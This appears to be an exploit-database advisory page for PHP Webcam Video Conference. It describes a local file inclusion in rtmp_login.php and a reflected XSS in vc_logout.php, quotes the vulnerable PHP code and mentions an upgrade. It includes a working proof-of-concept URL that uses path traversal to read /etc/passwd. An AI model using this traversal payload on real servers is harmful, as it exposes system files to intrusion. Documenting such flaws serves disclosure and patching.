Exploit: PHP Webcam Video Conference - LFI/XSS

vendor:

PHP Webcam Video Conference

by:

vinicius777

7,5

CVSS

HIGH

Local File Include & XSS Reflected

94, 79

CWE

Product Name: PHP Webcam Video Conference

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2014

Exploit: PHP Webcam Video Conference – LFI/XSS

The vulnerability exists due to insufficient sanitization of user-supplied input in 's' parameter of 'rtmp_login.php' script and 'message' parameter of 'vc_logout.php' script. A remote attacker can send a specially crafted request to the vulnerable script and execute arbitrary code on the vulnerable system. Also, an attacker can inject arbitrary HTML and script code, which will be executed in user's browser session in context of affected site.

Mitigation:

Upgrade from to the new version on videowhisper vendor homepage.

Source

Exploit-DB raw data:

# Exploit: PHP Webcam Video Conference - LFI/XSS
# Date: 06/02/2014
# Exploit Author: vinicius777
# Contact: vinicius777 [AT] gmail / @vinicius777_
# Vendor Homepage: http://www.videowhisper.com/
# Software Link: http://sourceforge.net/projects/phpwebcamvideoconference
# Solution: Upgrade from to the new version on videowhisper vendor homepage.




[1] Local File Include - rtmp_login.php

P0C: http://192.168.1.7/vc_php/rtmp_login.php?s=../../../../../etc/passwd

[+] rtmp_rlogin.php

$session = $_GET['s']; 

$filename1 = "uploads/_sessions/$session"; 
if (file_exists($filename1)) 
{ 
echo implode('', file($filename1)); 
} 
else 
{ 
echo "VideoWhisper=1&login=0"; 
} 
?>


[2] XSS Reflected 

P0C = http://192.168.1.7/vc_php/vc_logout.php?message=[XSS]